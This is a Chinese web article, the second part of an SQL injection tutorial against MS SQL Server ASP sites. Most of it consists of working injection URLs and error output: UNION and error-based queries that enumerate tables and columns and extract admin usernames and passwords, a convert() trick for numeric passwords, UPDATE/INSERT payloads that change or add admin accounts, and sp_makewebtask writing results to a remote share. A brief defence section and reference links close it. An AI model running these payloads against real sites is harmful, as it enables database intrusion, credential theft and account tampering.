Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > SQL Injection技巧的演练(2)
【标  题】:SQL Injection技巧的演练(2)
【关键字】:c,SQL,技巧,io,on,In,Injection,SQL,Injection
【来  源】:网络

SQL Injection技巧的演练(2)

Your Ad Here .0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
_blank>http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我们也可以通过LIKE来找寻相关的特殊字:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问"admin_login"表的第一个用户名是什么吧:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
的密码为"31173":
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法'的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
_blank>http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我
们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串'31173',它也会变成'31173 morpheus'。
在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
现在你可以知道'trinity'的密码是'31173'了吧。

7.0如何在数据库中更新/插入数据?
当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方,我们要修改帐号"neo"的密码:
_blank>http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一条新的记录:
_blank>http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。
8.0如何避免被SQL注入攻击?
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
-用户的输入
-提交的URL请求中的参数部分
-从cookie中得到的数据
至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0我从哪里可以得到更多相关资料?
我们最初接触到SQL注入攻击是在Rain Forest Puppy有关他入侵PacketStorm的文章中提到的。
_blank>http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
一篇收集了ODBC错误信息的好文章:
_blank>http://www.blackhat.com/presentations/win-...1Litchfield.doc
关于在SQL SERVER中进行SQL注入的好文章:
_validation/sql.shtml" target=_blank>http://www.owasp.org/asac/input_validation/sql.shtml
Senseport网站所著的关于SQL注入的文章:
_blank>http://www.sensepost.com/misc/SQLinsertion.htm
其他相关文档:
_blank>http://www.digitaloffense.net/wargames01/IOWargames.ppt
_blank>http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
_blank>http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
_blank>http://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf
(完)
与黑客过招:给自己的网络设防:【上一篇】
SQL Injection技巧的演练(1):【下一篇】
【相关文章】
  • <WIN常见漏洞攻击与防范实战>第四章C(1)
  • <WIN常见漏洞攻击与防范实战>第四章C(2)
  • 入侵www.cnwill.com
  • 破解Session cookie的方法
  • 从ipc$到开放3389到3389只为你服务
  • 关于对SQL注入80004005及其它错误消息分析(1)
  • 关于对SQL注入80004005及其它错误消息分析(2)
  • 图谋不轨的家伙攻击你PC.你会?
  • 跨站式SQL注入
  • 巧用Win2003构筑校园网服务器防火墙
  • 【随机文章】
  • PowerPoint XP的界面与视图
  • Linux 2.6 内核的嵌入式系统应用
  • 沙漠玫瑰
  • VBScript 过程
  • 编写高性能Web应用程序的10个技巧
  • [全程建模]全程建模学起来很困难么?——对JavaEye中的一个帖子的回复
  • XML的一些简单操作
  • Mrtg监测CPU
  • 2005-9-16
  • powerdesgin 11的bug
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.